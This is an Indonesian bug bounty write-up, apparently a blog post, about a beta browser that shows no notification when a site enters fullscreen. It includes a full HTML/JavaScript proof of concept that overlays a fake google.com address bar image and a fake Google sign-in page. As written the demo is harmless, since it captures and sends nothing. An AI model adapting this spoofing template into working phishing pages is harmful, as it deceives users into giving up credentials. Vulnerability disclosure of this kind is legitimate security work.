$500 in 1 Minute from a Tiny Browser Security Mistake

FrozzipiesFrozzipies
5 min read

Halo guys, disini saya ingin bercerita tentang pengalaman tercepat saya mendapatkan bounty pada salah satu program bug bounty yang memasukkan Browser App mereka sebagai salah satu scope asset mereka. Judulnya mungkin terkesan kayak clickbait, tapi ini beneran bukan clickbait wkwkwk. Dari pertama buka browser sampai dapat bug nya beneran cuma 1 menit. Mari kita bahas lebih lanjut

Setiap browser pasti memiliki tampilan dialog dan alert yang berbeda-beda. Buat yang belum tau, contohnya mungkin seperti ini:

  • JS Alert Dialog,

  • Permission Dialog (Camera, Mic, Location, etc),

  • Share Screen Dialog,

  • Bluetooth Connect Dialog,

  • Download Alert,

  • Fullscreen Alert,

  • dll

Setiap browser pasti memiliki tampilan yang berbeda-beda, sebagai pembanding mungkin ini adalah perbedaan tampilan fullscreen alert pada Chrome dan Firefox. Tampilan tersebut mungkin memiliki fungsi dan tujuan yang sama, tetapi yang jadi pembeda adalah bentuk atau UI dari fullscreen alert tersebut.

Sekarang kita tau bahwa, tidak semua browser memiliki UI yang sama, atau bahkan ada browser yang tidak menerapkan UI Security best practice. Oleh karena itu, setiap saya memulai research ke aset browser, saya selalu memulai yang namanya Browser Reconnaissance (ini bahasa saya sendiri sih wkwk), yang dimana ini adalah proses yang biasa saya lakukan untuk mempelajari setiap dialog dan alert yang berbeda-beda pada setiap browser. Caranya simpel banget, bisa pakai website yang memang di develop oleh tim Dev Chromium -> https://permission.site/ . Website ini berisi semua function yang ketika kita klik akan mentrigger semua dialog, alert, dll yang ada pada suatu browser, kita tinggal klik-klik aja semua button yang ada disitu, dan memang di peruntukkan untuk testing.

Singkat cerita, saya kebetulan mendapatkan early access untuk melakukan beta testing pada salah satu browser yang memang baru selesai di develop oleh salah satu company yang membuka program bug bounty. Langsung aja saya download browsernya dan melakukan reconnaissance menggunakan https://permission.site/ Untuk mempelajari semua fitur dan UI dari setiap browser function yang ada disitu. Dan saya menemukan keanehan, ketika saya mentrigger button untuk masuk ke fullscreen mode, browser tersebut tidak memberikan alert bahwa user telah masuk ke dalam mode fullscreen. Ini jelas masuk ke dalam kerentanan, karena secara security best practice, ketika suatu site melakukan request untuk masuk ke dalam fullscreen mode, browser harus memberikan notifikasi bahwa user telah masuk ke dalam mode fullscreen. Hal ini berguna sebagai tindakan preventif untuk meminimalisir serangan phishing, karena dengan adanya notifikasi fullscreen, user bisa tau bahwa segala hal yang ada di dalam page tersebut adalah UI dari site yang dibuat attacker.

Mengapa demikian? karena dengan masuk ke dalam mode fullscreen, address bar yang merupakan UI browser yang paling penting dan sensitif akan hilang atau terhide. Disinilah letak bahayanya, dengan hilangnya address bar pada mode fullscreen, attacker bisa membuat address bar palsu untuk menipu korban. Contohnya, https://attacker.com/ memiliki button yang ketika di klik akan mentrigger mode fullscreen, namun browser tersebut tidak memiliki fitur fullscreen notification, ketika address bar terhide karena fullscreen mode, https://attacker.com/ membuat fake address bar yang memunculkan https://google.com/ dengane fake web content berupa fake google login page.

Secara teknis eksploitasi, attacker bisa menyiapkan potongan screenshot trusted address bar seperti address bar yang mengarah ke https://google.com/ untuk di sisipkan ke dalam site milik attacker. Dan membuat button berisi JS function yang akan otomatis memunculkan fake address bar dan fake google login page ketika browser mengakses mode fullscreen. Jadi ketika button di klik, user akan seolah-olah seperti terredirect ke dalam google.com , padahal aslinya mereka mengakses site milik attacker, tetapi dalam mode fullscreen.

https://frozzipies.github.io/addrs5.png -> fake address bar

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Google Login Redirect</title>
  <style>
    /* Reset defaults */
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }

    html, body {
      width: 100%;
      height: 100%;
      font-family: Arial, sans-serif;
      background: #f2f2f2;
    }

    body {
      display: flex;
      justify-content: center;
      align-items: center;
      flex-direction: column;
      gap: 20px;
    }

    .redirect-button {
      padding: 12px 24px;
      font-size: 16px;
      border-radius: 6px;
      background-color: #4285F4;
      color: white;
      border: none;
      cursor: pointer;
      box-shadow: 0 4px 12px rgba(66, 133, 244, 0.5);
      transition: background-color 0.3s ease;
    }

    .redirect-button:hover {
      background-color: #357ae8;
    }

    .address-bar {
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 90px;
      z-index: 9999;
      object-fit: cover;
      display: block;
      border-bottom: 1px solid #ccc;
    }

    .login-container {
      background: white;
      padding: 40px 50px;
      border-radius: 8px;
      box-shadow: 0 8px 24px rgba(0, 0, 0, 0.2);
      width: 360px;
      text-align: center;
      margin-top: 60px; /* Push content below address bar */
    }

    .logo {
      font-size: 48px;
      font-weight: 700;
      margin-bottom: 24px;
      user-select: none;
    }

    .logo .g { color: #4285F4; }
    .logo .o1 { color: #EA4335; }
    .logo .o2 { color: #FBBC05; }
    .logo .g2 { color: #4285F4; }
    .logo .l { color: #34A853; }
    .logo .e { color: #EA4335; }

    h1 {
      font-weight: 400;
      font-size: 24px;
      margin-bottom: 20px;
      color: #202124;
    }

    input[type="email"], input[type="password"] {
      width: 100%;
      padding: 12px 15px;
      margin: 8px 0 24px;
      border: 1px solid #dadce0;
      border-radius: 4px;
      font-size: 16px;
    }

    input[type="email"]:focus, input[type="password"]:focus {
      border-color: #4285F4;
      outline: none;
      box-shadow: 0 0 5px rgba(66,133,244,0.5);
    }

    button {
      background-color: #4285F4;
      color: white;
      border: none;
      width: 100%;
      padding: 12px;
      font-size: 16px;
      border-radius: 4px;
      cursor: pointer;
    }

    button:hover {
      background-color: #357ae8;
    }

    .footer-text {
      margin-top: 20px;
      font-size: 12px;
      color: #666;
      user-select: none;
    }

    .funny-msg {
      color: red;
      font-weight: bold;
      margin-top: 15px;
      user-select: none;
    }
  </style>
  <script>
    function redirectToGoogle() {
      const elem = document.documentElement;

      const goFullscreen = () => {
        if (elem.requestFullscreen) {
          return elem.requestFullscreen();
        } else if (elem.webkitRequestFullscreen) {
          return elem.webkitRequestFullscreen();
        } else if (elem.msRequestFullscreen) {
          return elem.msRequestFullscreen();
        } else {
          return Promise.resolve();
        }
      };

      goFullscreen().finally(() => {
        document.body.innerHTML = `
          <img src="addrs5.png" alt="Address Bar" class="address-bar" />
          <div class="login-container">
            <div class="logo" aria-label="Google Logo">
              <span class="g">G</span>
              <span class="o1">o</span>
              <span class="o2">o</span>
              <span class="g2">g</span>
              <span class="l">l</span>
              <span class="e">e</span>
            </div>
            <h1>Sign in to your Google Account</h1>
            <input type="email" placeholder="Email or phone" aria-label="Email or phone" />
            <input type="password" placeholder="Password" aria-label="Password" />
            <button onclick="alert('Fake Google')">Next</button>
            <div class="funny-msg">Warning: No real accounts here!</div>
            <div class="footer-text">© 2025 Google</div>
          </div>
        `;
      });
    }
  </script>
</head>
<body>
  <button class="redirect-button" onclick="redirectToGoogle()">Login to your Google Account!</button>
</body>
</html>

Untuk video PoC nya ada di Discord Meta4sec ya!

https://discord.com/channels/941942387813539850/1405445535195988129

0
Subscribe to my newsletter

Read articles from Frozzipies directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Frozzipies
Frozzipies